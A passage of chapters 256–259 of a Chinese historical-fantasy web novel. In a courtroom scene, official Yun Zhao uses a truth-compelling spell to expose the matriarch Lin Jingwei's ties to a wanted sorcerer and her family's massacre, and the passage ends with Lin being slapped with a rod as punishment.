毕竟,云昭前两次登苏家门,第一次便以雷霆手段治好了苏老大人的腿疾;
第二次,苏老大人不在府中,她更是毫不留情,直接命人当众掌掴了主持中馈的林氏,连苏
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老夫人的怒斥都全然无视。
云昭的强势作风,早已深深烙印在苏家众人心中。
要知道,苏家这些旁支族人,过往几十年大多依附苏家嫡脉这棵大树,更准确地说,是仰仗苏文正苏老大人的官威与清名荫蔽而活。
前些年苏老大人仕途遭挫,竹山书院经营惨淡,偌大苏家开销不减,不少人也学着苏凌远开始经营些产业。
既是生意人,便更懂得审时度势、权衡利弊。
他们对云昭的畏惧,不仅源于她是官,还是手握玄察司、深受陛下信重的正四品大员;
更因为之前两次,他们已然看出,云昭的性子和手腕,绝不是他们能轻易招惹的!
因此,得知苏玉嬛尸身被扣,他们心中或许各有猜疑不满,但谁也没那个胆量真跑到云昭面前去理论叫板。
此刻,听云昭陡然抛出这个问题,不少人回过味来,心中疑窦顿生。
先前那穿绛紫色衣裙、眉眼刻薄的妇人忍不住低声道:
“是啊,咱们家……好像没听说谁跟那穷乡僻壤的将家村有什么往来啊?”
旁边一个消息灵通些的中年男子压低声音接话:
“你们忘了前些日子京城外那冲天而起的血柱异象?
后来隐约有消息漏出来,说整个将家村都被夷为平地,全村上下……听说都被灭门了!还是云……”
他顿了顿,极其识时务地朝云昭方向拱了拱手,改口道,
“还是云司主亲自带人去平的乱,超度了那些亡魂呢。”
这话一出,不少人顿时倒吸一口凉气。
“天爷!这样邪性的地方?”
“咱们家在那边既无田产,又无亲戚故旧,更无生意往来,玉嬛一个深闺小姐,怎会跑去那里?
一时间,众人惊疑的目光,再次聚焦到跪在堂下一语不发的林静薇身上。
毕竟,她可是苏玉嬛的亲生母亲,女儿为何去那里,她难道会不知道?
有人忍不住低声问道:“大嫂,这……玉嬛去将家村,究竟所为何事?你倒是说句话呀!”
就在这时,一个穿着鹅黄色衫子、约莫十四五岁的少女怯生生地道:
“我记得堂姐不见那日,好像……好像是大伯母说要动身回江陵老家的日子?”
身旁另一个年纪相仿的少女也连忙点头附和:
“是呢!我那日想去主院找堂姐玩双陆,可她院里的丫鬟说,堂姐一大清早,天还没亮透就出门了,神神秘秘的,也没说去哪儿。”
穿绛紫色衣裙的周氏闻言,眼珠子一转,猛地想起什么:“说到丫鬟!玉嬛身边那个叫小茉的丫头呢?我怎么感觉……有好些日子没瞧见她了?”
她的声音虽不算高,但在寂静的公堂上,还是清晰地传入了众人耳中,也落入了云昭耳里。
云昭眸中寒光一闪,不再给任何人猜测的时间,扬声道:“带证人小茉上堂。”
侧门再次开启。
一名身形单薄的少女,被一名女侍卫引着,碎步走了进来。
她穿着朴素的青色衣裙,头发简单挽起,正是苏玉嬛的贴身大丫鬟小茉。
云昭特意示意,让她站到了自己身侧稍后一些的位置,既能被堂上所有人看清,又处于一种无形的保护之下。
几乎在小茉出现的一刹那,一直低垂着头的林静薇,极其缓慢地抬起了眼。
那一瞬间的眼神,阴冷得可怕。
只这一眼,便让无意间瞥见的几个苏家人心底一寒,几乎要怀疑自己看错。
第256章 死丫头真是嫌命太长!
云昭仿佛没看见林静薇那骇人的眼神,只平静地对小茉道:
“小茉,你将那日苏玉嬛为何前往将家村,前因后果,从实道来,不得有丝毫隐瞒。”
小茉身体微颤,深吸了一口气,鼓足了毕生的勇气,开始讲述:
“那日……是夫人决定起程回江陵老家的第二天。
天还没亮,小姐就把奴婢叫醒,让奴婢赶紧收拾一点随身细软,也不要惊动旁人。
然后……然后就带着奴婢,悄悄从后角门出了府。府外早已有一辆青帷小车等着,驾车的是常给府里送菜的王麻子。
小姐上了车,只对王麻子说了一个地名,便催促快走……”
随着小茉的叙述,一个匪夷所思的故事,逐渐呈现在众人面前。
小茉口中,苏玉嬛左一句“得了天大的机缘”,右一句“等我成了救命恩人”。
而当小茉战战兢兢地问是哪位贵人时,苏玉嬛脸上浮现出混合着兴奋与憧憬的红晕,压低声音说:
“是秦王殿下!只要成了他的救命恩人……以我的家世品貌,未必不能封个秦王正妃当当!”
听到此节,堂上苏家众人的脸色可谓精彩纷呈。
惊愕、尴尬、难以置信、甚至还有一丝荒唐。
但所有人,包括方才还情绪激动的苏老夫人和苏凌岳,都极有默契地紧紧闭上了嘴巴,连呼吸都放轻了许多。
眼神却不由自主地瞟向公堂一侧的主位——
那里,秦王正端坐着,俊美无俦的脸上没什么表情。
只是那双凤眸似乎比平时更冷了几分,目光淡淡扫过之处,仿佛连空气都要冻结。
那位穿绛紫色衣裙的周氏,用气音在嗓子眼嘀咕道:
“夭寿啊!敢跟云司主抢男人?死丫头真是嫌命太长!自己作死还要连累全家!”
站在她身旁的另一个妇人吓得魂飞魄散,死死拽住她的衣袖:“噤声!”
旁人听不见还有可能,你当秦王殿下的耳力,也听不见吗?
一个搞不好,别说林氏,今天咱们这满堂几十口,都要成秦王殿下的磨刀石了!
连主审的白羡安也是第一次听闻这段内情。
“且慢。”他眉头紧锁,待小茉停顿,肃然追问:
“你既随行,可知你家小姐,是如何得知秦王殿下会前往将家村,又是如何知晓那里会有机关布置?”
小茉摇了摇头,泪水在眼眶里打转:“回大人,奴婢真的不知。
小姐从未对奴婢细说过消息来源,只说这消息是极可靠的,让奴婢只管跟着,不许多问。”
就在这时,被衙役押着跪在林静薇身侧、嘴里一直塞着布巾的吕嬷嬷,突然开始剧烈地挣扎起来。
她喉咙里发出“呜呜”的闷响,一双老眼瞪得暴突,布满血丝,死死盯着小茉。
云昭抬手示意,一名衙役立刻上前,动作利落地将吕嬷嬷口中的布巾扯掉。
吕嬷嬷大口喘着气,嘴唇哆嗦着,似乎想立刻开口驳斥。
不等她发出一个完整的音节,云昭已先一步吩咐:“取一碗温水来。”
吕嬷嬷到嘴边的话猛地噎住。
就连她身边的林静薇,都倏然抬眼,惊疑不定地看向云昭。
一名衙役很快端来一碗温度适宜的清水。
云昭亲自接过,缓步走到吕嬷嬷面前,将碗递到她干裂的唇边,声音平静无波:“喝点水润润喉,慢慢说。”
若在平时,以吕嬷嬷生平的谨慎提防,未必会轻易喝下这碗水。
但她们主仆几人,是从江陵被一路紧急押解回京的。
一日不过一个冷硬的白馍,饮水也严格限制。
此刻,一碗清澈温热的清水近在眼前,不仅吕嬷嬷喉头剧烈滚动,连一旁跪着的苏凌岳都忍不住吞咽了一下。
倚在苏文正怀里的苏老夫人更是有气无力地哼道:“也给我来一碗……”
云昭恍若未闻,只看着吕嬷嬷。
吕嬷嬷眼中挣扎之色一闪而过,终究是喝水的本能占了上风。
她就着云昭的手,急切地啜饮了三口。
温水入喉,滋润了火烧火燎的喉咙,让她不禁发出一声满足的喟叹。
云昭适时收回了碗。
她看着吕嬷嬷略显舒缓的脸色,眸中闪过一抹锐光:
“嬷嬷年纪大了,一路颠簸辛苦。
好生答话,说得清楚明白,待会儿,自然还有温水喝,有热食可用。”
两旁肃立的衙役们见状,心中却暗自摇头。
这位云司主,终究还是太年轻了。
仅凭一口温水、一句空头许诺,就让这等深宅里浸淫多年的老嬷嬷吐露实情?
未免太过天真。
就在这时,云昭直起身,冷不防开口问:
“苏玉嬛,究竟是如何知道将家村的?”
吕嬷嬷紧闭着嘴,打定主意一言不发,甚至想好了如何含糊其辞地推脱不知。
然而,就在她闭紧牙关的瞬间,一股难以言喻的、微弱却无法抗拒的力量,轻轻拨动了她的喉舌与心神。
她惊恐地发现,自己的嘴巴竟不受控制地张开,一个清晰无比的答案,脱口而出:
“自然是因为她偷看了夫人的密信!”
话一出口,吕嬷嬷自己先惊呆了!
她猛地瞪大了眼睛,浑浊的眼珠里充满了难以置信,下意识就想抬手去摸自己的喉咙。
可双手被反绑在身后,动弹不得,只能徒劳地扭动着身体,发出“嗬嗬”的怪异声响。
云昭岂会给她反应的机会?
她紧接着又问道:“那密信,是谁写给林静薇的?”
“不……不能说……”
吕嬷嬷心中疯狂呐喊,拼命咬紧牙关,甚至能尝到一丝铁锈味在口腔蔓延。
她试图用疼痛抵抗那股诡异的力量,额头青筋暴起,面容扭曲。
然而,紧闭的嘴唇再次不受控制地张开,一个令满堂瞬间死寂的名字,颤抖着、却清晰地吐了出来:
“是……薛……薛九针!”
这三个字,如同惊雷,
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在苏家众人头顶轰然炸响!满堂皆惊,骇然变色!
“怎么会是薛九针?”
“我没有听错吧,是那个被官府全城通缉的邪师?”
要知道,玄察司与京兆府虽然联手封锁了将家村案件部分真相,
但“薛九针”这个名字,早已随着全城通缉令和民间诸多诡秘传闻,深深烙印在京城百姓的心中。
此人最初混迹于回春堂,后来犯下骇人听闻的罪行,成为朝廷重金悬赏捉拿的要犯,绝不是什么好人!
而林静薇,堂堂书院司库夫人,朝廷二品大员的儿媳,姜老夫人最疼爱偏袒的外甥女,多年来掌管苏家中馈、表面温良贤淑的当家主母……
她怎会和这样一个臭名昭著、人人得而诛之的邪师扯上关系?
二人竟然还有书信往来?!
吕嬷嬷在吐出这个名字后,整个人如同被抽去了脊梁骨。
她意识到自己犯下了弥天大错!
她拼命想要抵抗,死死咬住牙关,力道之大,嘴角竟渗出了一缕刺目的鲜血,顺着下巴滴落。
“老刁奴!你满口喷粪!血口喷人!!!”
一旁的苏凌岳脸涨成了猪肝色,额头上青筋暴跳,再也按捺不住。
他本就是“顺带”被押回,并未被捆缚双手,惊怒交加之下,他猛地窜起,双手掐住吕嬷嬷的肩膀,疯狂地前后摇晃:
“你还想咬舌自尽?以为**就能一了百了?做梦!
你把话说清楚!究竟谁指使你污蔑薇薇清白?你是不是受了谁的胁迫,来陷害薇薇?
说!不准死!给我说清楚!”
“放肆!公堂之上,岂容你行凶逼供?”
白羡安面色一沉,惊堂木尚未拍下,厉声已出:“来人,把他拉开!”
一直如同影子般侍立在云昭身后的墨七,身影如鬼魅般一闪,已出现在吕嬷嬷身侧。
她并指如风,精准迅捷地在吕嬷嬷颈侧、肩井等几处穴位连点数下。
吕嬷嬷浑身一松,但那紧咬的牙关却不由自主地松开了,剧烈起伏的胸膛也渐渐平复。
此时,两旁反应过来的衙役才疾步上前。
两名衙役一左一右,毫不客气地架住仍在嘶吼挣扎的苏凌岳,猛地将他从吕嬷嬷身边拖开,狠狠掼在一旁的空地上。
苏凌岳被摔得闷哼一声,只能伏在地上,呼哧呼哧喘着粗气,赤红的眼睛犹自不甘地瞪着吕嬷嬷。
云昭目光锁在林静薇身上,话确实对着吕嬷嬷说的。
“吕嬷嬷,听好,最后一个问题——”
之所以说最后一个问题,是因为云昭今日所用,正是日前与有悔大师切磋之后,自学的“祝由术”。
祝由术精妙,效力却也有限。
吕嬷嬷饮下这碗真言水,至多能支撑三个关键问题,且效力会随着受术者的抵抗意志而快速衰减。
因此,云昭问出的问题,每一个至关重要。
“你且如实回答——你家夫人林氏,是从何时开始修**邪术的。”
第257章 一大口鲜血从她口中喷出!
一直如同泥塑般跪着的林静薇,在听到云昭那最后一个问题时,一直低垂的头颅霍然抬起。
那张原本温婉秀美的脸,血色褪尽,只余扭曲。
她像一头被逼到悬崖边的困兽,整个人猛地向前一扑,双手直直抓向瘫软在地的吕嬷嬷!
衙役反应不慢,立即上前阻拦。
林静薇的冲势被阻,踉跄了一下,被衙役死死按住肩膀。
“这水有毒!是毒水!”林静薇猛地抬起头,尖声嘶喊起来,
“白大人!秦王殿下!这恶女居心叵测,她给吕嬷嬷喝的水里有毒!
吕嬷嬷就是被她害了,才会说出那些污人清白的疯话!
她这是要栽赃陷害我!请大人、殿下明察啊!”
之前被掼倒在地的苏凌岳也立刻跟着嚷嚷起来:
“对!对!一定是下了毒!快传大夫!快请大夫来给吕嬷嬷诊治验毒!还我薇薇清白!”
几乎在苏凌岳开口的同一时间,被林静薇那一冲撞得栽倒一旁的吕嬷嬷,竟嘶声高喊:
“我家、夫人,是从……九岁……开始……”
“嬷嬷——!”
林静薇发出一声撕心裂肺的尖叫,她再次拼命挣扎,试图扑过去,眼神凶狠得几乎要生吃了吕嬷嬷!
“你糊涂!你被奸人害了!你神志不清了!”
吕嬷嬷猛地瞪大了眼睛,上下牙关狠狠一合!
“噗——”
一大口鲜血从她口中喷出!
鲜血瞬间染红了她的下巴和前襟,她整个人彻底瘫软下去,只有胸膛还在微弱起伏。
云昭冷漠地瞥了一眼吕嬷嬷。
她并不同情这个老妇。
吕嬷嬷作为林静薇最倚重的心腹,几十年来鞍前马后!
林静薇所做的那些阴私勾当、害人之举,她就算不是主谋,也定是重要的帮凶和执行者。
她的手上,不知沾染了多少无辜之人的鲜血。
但这么多人都在堂上看着,她身为玄察司主,该说的话还是要说。
云昭转向白羡安:
“大人,回春堂的楚大夫,此刻正在偏厅候传,随时可为吕嬷嬷验伤诊脉,确认其身体状况,并查验是否**。”
白羡安颔首:“宣楚大夫上堂。”
不多时,楚大夫提着药箱,步履稳健地快步走入。
他先向堂上诸位大人行礼,随即在衙役的协助下,蹲到吕嬷嬷身边。
他先是快速检查了吕嬷嬷口腔的伤势,随后,先以金针刺穴稳住其气血,再以特制药粉为其止血。
整个过程快而不乱,尽显名医风范。
最后,他又仔细为吕嬷嬷把脉,甚至取了一点她嘴角残留的血迹放在鼻端轻嗅,又用银针试探。
片刻后,楚大夫起身,对着白羡安和秦王、赵悉三人所在方向郑重拱手:
“回禀大人、殿下。此妇人舌部受创,乃自行咬合所致,伤口虽重,但止血及时,暂无性命之忧。
然舌根受损严重,即便日后伤口愈合,再难清晰说话。”
他顿了顿,语气十分肯定地补充道,“至于**……经老夫详细查验脉象,此妇人体内并无**迹象。”
吕嬷嬷躺在地上眼角滚下混浊的泪滴。
完了,全完了。
她跟着夫**半辈子,从江陵到京城,见证了夫人从孤女成为苏家当家主母,自己也跟着享尽了荣华体面。
夫人待她不薄。
不仅让她在府中地位超然,连她的儿子、孙子,都被夫人安排进了江陵林家(林静薇爹娘)名下的绸缎庄和粮铺做管事,领着丰厚的俸禄,过着体面的日子。
她本该感恩戴德,死心塌地……
可就因为她一时干渴难耐,贪喝了那三口水……她竟将夫人隐藏最深的秘密当众吐露了出来!
她不仅毁了夫人,也毁了自己一家往后的倚仗和前程!
“楚大夫!您再仔细看看!她一定是**了!”
苏凌岳急声喊道,“否则她怎会胡言乱语,污蔑主母?定是有人下毒控制了她的心神!”
楚大夫闻言,脸上露出一丝不悦,但碍于公堂威严,还是捺着性子解释道:
“老夫行医数十载,虽不敢称囊括天下奇毒,但寻常乃至一些偏门毒物的表征,尚能辨识。
此妇人脉象虽乱,却是惊惧伤痛所致,并无**特有的沉滞、滑数、弦紧或迟涩之象。
瞳孔、血色、气息皆无**痕迹。
老夫可以断言,她此刻体内,绝无导致其胡言乱语的外来毒物!”
“哼!”林静薇突然发出一声冰冷的嗤笑。
她不再看吕嬷嬷,转而死死盯着楚大夫,眼中满是讥诮,“谁不知道你与云昭渊源颇深?
你们早有旧谊,交情匪浅!
前次来我府上治伤,更是对云昭赞不绝口!
如今你口口声声说没毒,谁知道是不是早就被她收买,串通一气,陷我于不义?!”
白羡安闻言,深看了林静薇一眼。
他不再与林静薇多费唇舌,沉声道:“既对楚大夫的诊断存疑,那便再请一人。去,速请石先生来此。”
他稍作停顿,目光扫过堂下众人,解释道:
“石先生乃我大理寺特聘的供奉,精研医理药毒数十载。
尤擅辨识各类奇毒、**,于刑名一道辅助颇多。
其为人刚直,素不与朝中任何派系往来,专司疑难杂症与毒物鉴定。
若石先生亦验不出有毒……”
他的目光最后落在林静薇脸上,语气加重:
“林氏,你一再当堂污蔑朝廷命官、质疑云司主请来的医者,
若最终证实你乃信口雌黄,诬告构陷,按律,当受反坐之刑,杖责掌嘴,决不轻饶!”
林静薇脸色白了一分,牙齿紧紧咬住下唇,几乎要咬出血来。
但她仍强撑着,昂首道:“谁人不知云司主医术通玄,手段更是神鬼莫测?
她既能施展那般神奇的医术,谁知道她用的是不是根本不是寻常**,而是什么魇镇咒术之类的邪法,控制了吕嬷嬷的心神,让她说什么就说什么?
这等阴私手段,寻常大夫岂能查验得出?”
她这是铁了心要将水搅浑,将一切不利于她的指证,都推到云昭的“非常手段”上。
云昭手中捏**林静薇那些证物,因而此时并不急于反驳林
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静薇的胡搅蛮缠,反而将视线转向了苏家众人:
“诸位,方才吕嬷嬷神志尚存时所言,想必诸位都已听清。
她指证林氏与邪师薛九针有书信往来,并言林氏自九岁起便开始修**邪术。”
她的目光最终落在了神情怔忡的苏老夫人脸上,问出一个谁都没想到的问题:
“敢问老夫人,当年您收养林氏为义女,接入苏府抚养,具体是哪一**?”
这问题问得客气,却让苏老夫人心头一跳,脸色更加难看。
但在公堂之上,众目睽睽之下,云昭这问题也并无半点不妥,她无法回避,只能板着脸,哑声答道:
“是……是大晋永和十七年秋。”她顿了顿,补充道,“那时,薇薇正好九岁。”
云昭微微颔首,转而向白羡安道:
“白大人,请您再看一看您案几左上角,那份关于永和十七年,江陵府清溪县林家火灾一案的卷宗摘要。”
白羡安其实早已熟读案上所有资料,此刻闻言,还是依言拿起那份纸张已然有些发黄的摘要,再次浏览,目的是与云昭所言逐一对应。
片刻后,他将那份摘要递给身旁一位负责记录的主簿,吩咐道:“念。
声音大些,让堂上所有人都听清楚。”
那主簿躬身接过,清了清嗓子,朗声诵读起来:
“永和十七年,八月初三夜,江陵府清溪县,富户林翰之宅邸突发大火,火势迅猛,难以扑救。
林翰之父母、妻吴氏(怀有七月身孕)、并仆役七人,共计十一人,皆葬身火海,尸骨焦毁难辨。
唯林翰之因在外地核查铺面账目,其女林静薇(九岁)并其乳母吕氏,居于偏院,侥幸逃生。”
主簿念到这里,略微停顿,堂上已是一片低低的吸气声。
苏家许多人还是第一次如此详细地听闻林家**!
虽然知道林静薇幼年失怙,却不知竟是如此惨烈的灭门之祸!
主簿继续念道:“三日后,即八月初六,林翰之闻讯赶回,目睹惨状,悲痛欲绝。
当夜,被家人发现悬梁自缢于已成废墟的宅院书房残梁之上。
经仵作勘验,确系自缢身亡。
此案由清溪县衙记录在档,并上报江陵府衙留存。
卷宗编号:永和十七年,江陵府刑字第一百四十七号。”
“全家都烧**?十一口人?!”
“这……这也太惨了……”
堂下的苏家众人再也抑制不住,交头接耳地议论起来,每个人脸上都写满了震惊。
“这事……还真是从未听大嫂或是老夫人仔细提起过,只说是遭了灾,父母没了。”一个中年男子低声道。
“着火烧死所有人?这……这听着就不对劲啊!”另一个妇人接口,脸上带着疑惑,
“就算是夜深人静,难道一家子十几口人,连同守夜的仆役,就没一个惊醒逃出来的?
偏偏就一个九岁的小姑娘和她的奶妈子跑出来了?”
质疑的声音越来越多。
唯有苏老夫人,在最初的震惊之后,却猛地摇头,大声道:“不对!大人,这卷宗上说的不对!”
第258章 杀父弑母、残害手足
她努力挺直脊背,一脸严肃地看向白羡安,语气笃定:
“当年我接到噩耗,得知的情况并非如此!
我弟弟林翰之,并非自缢而亡,他是得知家中惨剧,急火攻心,回程时马车翻覆受了重伤。
被送回老宅后,伤势过重,不到半日就……就去了!
翰之是伤重不治,绝非自缢!”
一直**旁听的秦王,此刻缓缓开口:
“这份卷宗摘要,是本王得知案情关联后,特意命人持令牌前往江陵府衙。
调阅了原始存档,并与清溪县现存副档核对无误后,誊录带回。
卷宗之上,有当年经手县令、仵作、书吏的签押画押,亦有府衙的复核印鉴。”
他目光平静地看向苏老夫人:“老夫人坚称‘不对’,敢问您当年所得消息,具体来源何处?有何人证物证?
可曾亲眼见过林翰之的遗体,或是有当地官府出具的正式文书?”
苏老夫人张口结舌。
她知道秦王是云昭的未婚夫婿,但以秦王的身份地位,似乎并无必要在这种陈年旧案的细节上**构陷。
况且,她做了多年的二品大员的夫人,深知官府卷宗,尤其是涉及多人死亡的重大案件,记录极为严格。
县、府两级乃至刑部可能都有备份,想要凭空篡改数十年前的旧档,几乎是不可能的事情。
她身旁的苏文正,眉头紧锁,沉吟着开口:
“我记得,当年将薇薇从清溪县接回京城,是夫人你亲自去办的。
我当时……因吏部考绩在即,公务极为繁忙,未曾与你同往。
事后听你转述,也只知岳家遭了火灾,内弟伤重去世,具体细节,并未深究。”
苏老夫人被夫君的话点醒,喃喃道:“是了,是了!
当年我悲痛欲绝,到了江陵,最先见到的便是吕嬷嬷。
也是吕嬷嬷,告诉我弟弟重伤不治的消息……”
她像是求证般,看向地上奄奄一息的吕嬷嬷,又看向白羡安,
“吕嬷嬷当时说,林翰之伤势太重,回天乏术……
可他就算再难过,也该知道,他还有我这个姐姐可以依靠,薇薇还需要他抚养长大!
他怎么会……怎么会丢下女儿自尽呢?这说不通啊!”
这时,那穿绛紫色衣裙的周氏忍不住了。
她撇了撇嘴,刻薄的吊梢眼一翻,声音不大不小,刚好能让众人都听清:
“老夫人,您就不觉得这事儿从头到尾都透着一股子邪性,怪得很吗?”
苏老夫人茫然地转向她。
周氏见众人都看向她,等着听她的分析,胆子也大了些,继续道:
“一家子十一口人,连怀胎七月的孕妇都没跑出来,
怎的就一个九岁的小姑娘和她的奶妈子,好端端地从偏院跑出来了?
偏院难道就不是林家宅子了?火就独独绕开她们烧?就算她俩运气顶破了天!
那当爹的,**老婆孩子爹娘,就剩这么一个闺女了,不说拼了命也要把闺女抚养成人,反而急吼吼地上吊了?
这但凡是个正常人,都干不出来这事儿吧?”
跟她有相似想法的人不在少数,低声的附和和质疑在人群中蔓延。
其实,众人之所以会第一时间怀疑林静薇,是因为云昭此前已经铺垫了太多令人心惊的线索。
通过小茉的证词,众人知晓,苏玉嬛是被一个隐秘消息引去将家村;
而通过吕嬷嬷的骤然坦白,众人方知,林静薇居然与臭名昭著的邪师薛九针有秘密书信往来;
更令人毛骨悚然的是,吕嬷嬷方才亲口说出,林静薇“从九岁开始修**邪术”!
而就在同一年,林家遭遇灭门惨祸,父母亲人尽数死于非命,父亲随后“自缢”,唯有她和吕嬷嬷安然无恙。
之后不久,便被苏老夫人收养,命运轨迹彻底改变……
人都是懂得联想的,尤其懂得根据已有的线索,去推断一个更接近真相的可能性。
这也是为什么,当年沉浸在悲痛中的苏老夫人,与忙于公务的苏文正,对此全无怀疑;
而今日置身事外、又听了诸多骇人内情的苏家旁支众人,却能迅速捕捉到其中诸多疑点。
苏老夫人哑然片刻,看着周围族人或疑惑、或惊惧、或了然的复杂目光,一股寒意从心底升起。
但她仍旧本能地摇头,试图驱散心底不断冒出来的可怕想法:
“不……不会的……薇薇那时候才九岁,一个九岁的孩子,她能懂什么?
那都是她的亲生父母,是血脉至亲啊!她怎么可能会……会害他们?”
“姑母!我没有!我真的没有!”林静薇的泪水如决堤般涌出,一脸饱含冤屈的神情,
“爹娘当年惨死,弟弟还未出世便随娘亲去了……那是我一生都无法愈合的伤痛!
我怎会害他们?我怎么可能害他们?!”
她哭得浑身颤抖:“云昭!我知道,我知道因为你母亲当年之事,你一直对我心存芥蒂。
可你不能……你不能因为恨我,就编造出如此弥天大谎啊!
还有嬛嬛……嬛嬛是我十月怀胎,一手抚养长大的心头肉!
我疼她爱她还来不及,我怎么会害她?
你也是女子,将来也要为人母,你怎能如此揣度一个母亲的心?!”
是啊,杀父弑母、残害手足、甚至害死亲生女儿……
每一桩、每一件,都突破了人伦的底线,听起来太过匪夷所思,令人难以置信。
尤其林静薇过去三十几年在苏家,一直是以温良恭俭、持家有方的形象示人。
大家伙儿每日低头不见抬头见,若真是如此穷凶极恶、善于伪装之人,那该是何等可怕?
光是想想,就让人脊背发凉。
“我觉得……大伯母说的也有道理。”穿鹅黄衫子的少女小声道,“这事听着太邪乎了,不太像是真的……”
另一个着翠绿衫子的少女也点了点头:“主要是不敢信……要真是那样,也太吓人了。”
唯有站在王氏身边的朱嬷嬷,一直冷着脸,死死盯着林静薇表演。
此刻见她三言两语又勾起了一些人的同情,终于忍无可忍,啐了一口,高声骂道:
“我呸!她这种黑心烂肝的毒妇,有什么事是她做不出来的!你们莫要被她这副假惺惺的样子骗了!”
朱嬷嬷转向旁支众人,声音洪亮,带着积压已久的愤懑:
“你们难道都忘了?前些日子,云司主第一次登苏家门之前,我们夫人好端端的,突然腹痛晕厥,胎象不稳?
后来云司主来了,当场破了我家夫人院子里的‘九宫断嗣局’!那阴毒玩意,就是林氏的手段!”
朱嬷嬷的话,宛如冷水溅入滚油,现场瞬间炸开了锅!
“我想起来了!是有这么回事!”
“怪不得当时二婶(王氏)突然就病得那么重!”
“这……这要是真的,那她也太毒了!二婶可是怀着苏家的骨血啊!”
议论声纷纷攘攘,质疑和惊惧的目光再次聚焦到林静薇身上。
林静薇眼见刚刚挽回的一点局面,瞬间被朱嬷嬷搅得稀烂,心中恨得几乎滴血!
她尖声
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反驳:“朱嬷嬷!你休要血口喷人!弟妹当时胎象不稳,还不是她因为年纪太大了!
那什么‘九宫断嗣局’,我闻所未闻!定是有人蓄意陷害,栽赃于我!”
云昭依旧气定神闲,甚至嘴角勾起一丝极淡的弧度。
她并不急于开口反驳。
林静薇这种人,就像落入陷阱的困兽,不让她把所有的招数都使出来,不让她把狡辩的话都说尽,她是不会甘心的。
就让她说,让她演,让她在众目睽睽之下,将她那套颠倒黑白的本事发挥到极致。
因为,她手中掌握的证据,远比林静薇想象的要致命。
今日这一役,她胜券在握。
就在这时,一名衙役领着一位身着灰色布袍,目光沉静的老者快步走入公堂。
正是大理寺供奉石先生。
石先生上前,先向白羡安和秦王见礼,随即在楚大夫的简单说明下,开始为吕嬷嬷进行查验。
他的手法与楚大夫略有不同,更侧重于气息、经脉的探查,甚至取出几根色泽各异的细针,在不同穴位浅刺,观察针尖反应。
又取了些许吕嬷嬷的血迹,滴入随身携带的几种无色液体中观察。
堂上众人,包括林静薇,都不由自主地屏息凝神。
良久,石先生收好器具,起身对着白羡安拱手:
“大人,此妇人舌部创伤确系自戕所致。
其体内气血虽乱,然经脉之中并无外邪入侵或药物控制之异象。
楚大夫处置得当,其伤势性命无虞,然舌根之损,确难复原。”
楚大夫在一旁听着,忍不住捋了捋自己的胡须,脸上露出一丝“早说了吧”的傲然神色。
若是放在平时,听到林静薇那等质疑他医术和人品的混账话,以他的火爆脾气,早就跳起来指着对方鼻子骂了。
行医几十年,什么样的泼皮无赖、倒打一耙的病患家属他没遇到过?
当大夫的,尤其是名医,敢不会吵架?早就被唾沫星子淹**!
但他今日却出奇地平静,甚至有点嫌这石先生来得太快,耽误了他看这场跌宕起伏的大戏!
石先生此话一出,等于彻底否定了林静薇“下毒控心”的指控。
林静薇脸色白了又青,青了又白,却兀自强撑着,甚至挤出一丝冷笑:
“我早说了,云司主手段通天,用的或许根本不是寻常人能查出的手段。
什么咒术邪法,你们查不出,不代表没有!”
她又看向王氏,语气带着刻意的叹息和委屈:
“弟妹,我知你这些年因为母亲偏疼我一些,心中或许有些芥蒂。
但你也不能听信小人挑拨,就认定是我用邪术害你啊!
你我妯娌一场,我何曾亏待过你?”
朱嬷嬷见她到了此时还在狡辩,气得浑身发抖,不由下意识将求助的目光转向云昭。
就在这时,云昭清越的声音忽然响起,不高,却带着一种奇异的穿透力,瞬间压过了堂上所有的嘈杂私语:“诸位,肃静——”
只见云昭缓步走向公堂中央,手中不知何时,多了一个巴掌大小的陈旧锦囊。
锦囊的边角已经磨损,颜色也褪了不少,显然有些年头了。
她将锦囊托在掌心,目光似笑非笑地投向脸色骤变的林静薇,开口道:
“诸位方才一直疑惑,一个九岁的女孩,怎会对亲生父母家人下如此毒手……”
她微微一顿,目光扫过瞠目结舌的苏老夫人,惊疑不定的苏家众人,最后落回瞳孔紧缩的林静薇脸上:
“我现在,便来为诸位解惑。”
第259章 早就化成灰了
“且慢。”就在这时,白羡安面色沉肃,先一步道,
“林氏,本官早有明言,若查无实据,你便是污蔑朝廷命官、扰乱公堂审讯!
当受反坐之刑,杖责掌嘴,决不轻饶!”
“来人!”白羡安惊堂木未落,声已先至。
“在!”两旁衙役齐声应喝,声震屋瓦。
白羡安的声音冰冷无情:“将此诬告构陷、屡次咆哮公堂之犯妇林氏——
掌嘴二十,以儆效尤!”
“不——!大人!民妇冤枉!是他们串通!是他们查不出!”
林静薇终于彻底慌了,她伸出双手,徒劳地向前抓挠,姣好的面容因愤怒而扭曲,
“姑母!姑母救我!老爷!凌岳!你们说句话啊!”
苏老夫人的目光不由自主被云昭手上的锦囊吸引,可一看到林静薇涕泪横流的样子,习惯性的维护几乎要冲口而出。
苏凌岳倒是想扑上去,却被身旁的衙役死死按住,只能目眦欲裂地嘶吼:
“住手!你们不能动她!白大人!秦王殿下!内子只是一时情急失言!求你们网开一面啊!”
与此同时,两名膀大腰圆、面容冷硬的衙役已大步上前,毫不怜香惜玉地将瘫软的林静薇从地上拽起,拖至公堂一侧空旷处。
另一名手持漆黑刑杖的衙役紧随而至。
“不……不要……我是苏家夫人!我是……”
林静薇的衣襟被扯得凌乱,发簪斜落,几缕头发狼狈地贴在冷汗涔涔的额角。
持杖衙役面无表情,将刑杖调转,以光滑坚硬的木柄代替手掌。
这是公堂掌嘴的常见方式,比用手更具威力,也更显惩戒之严。
“一!”衙役口中报数,手中刑杖带起风声,朝着林静薇的脸颊狠狠挥落!
“啪!”一声清脆的响声炸开。
“啊——!”林静薇发出一声短促凄厉的惨叫。
头被打得偏向一边,左脸颊以肉眼可见的速度红肿起来,一道血痕迅速渗出。
“二!”
“三!”
……
计数声与击打声交替响起,在寂静的公堂上回荡,每一下,都像敲在苏家众人的心尖上。
女眷们早已吓得面无人色,纷纷用帕子掩面或扭头不忍再看。
男人们也是脸色铁青,神情复杂。
他们第一次如此直观地看到,平日里高高在上、温婉持重的当家主母,如何在国家法度之下,被撕去所有伪装与尊严,承受最直接的肉体惩戒。
苏老夫人死死闭上眼,浑身颤抖,那每一声脆响都仿佛打在她自己脸上,火辣辣地疼。
她忽然想起云昭第一次登门掌掴林氏的情景,那时她只觉得云昭嚣张忤逆,此刻……心境却已天翻地覆。
苏凌岳的嘶吼渐渐变成了无力的呜咽,眼睁睁看着妻子受刑,他却无能为力,这种**感和挫败感几乎将他淹没。
